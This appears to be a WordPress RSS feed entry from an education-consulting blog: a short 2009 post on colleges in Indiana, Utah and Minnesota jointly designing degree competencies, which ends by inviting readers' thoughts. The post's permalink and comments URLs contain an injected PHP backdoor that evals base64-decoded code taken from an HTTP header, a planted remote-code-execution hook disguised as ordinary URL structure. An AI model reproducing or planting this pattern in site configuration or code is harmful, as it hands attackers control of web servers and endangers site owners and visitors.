Murphy Educational Consulting (MEC) » higher education http://murphyeducational.com/education-blog Evaluation of formal, informal and non-formal learning at the intersection of families, youth and communities Mon, 18 Jul 2011 20:49:21 +0000 en hourly 1 http://wordpress.org/?v=3.2.1 National learning standards for colleges? http://murphyeducational.com/education-blog/2009/04/09/national-learning-standards-for-colleges/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/ http://murphyeducational.com/education-blog/2009/04/09/national-learning-standards-for-colleges/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/#comments Thu, 09 Apr 2009 17:30:14 +0000 Nora Murphy http://murphyeducational.com/education-blog/?p=99
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Not quite national, but according to an article in the New York Times on April 8th, colleges in 3 states are sharing the work of designing degree competencies for education, history and chemistry (Indiana), history and physics (Utah) and graphic design and chemistry (Minnesota).  This is definitely an issue to watch!  I have seen cases of standards or competencies raising the bar for expectations, as in some principal leadership development programs, and lowering the bar, as in some state assessment programs.  I’ll be moving to Minnesota soon to pursue my doctorate at the University of Minnesota’s Department of Curriculum and Instruction and look forward to following this topic closely.

Any thoughts?  Or inside information?

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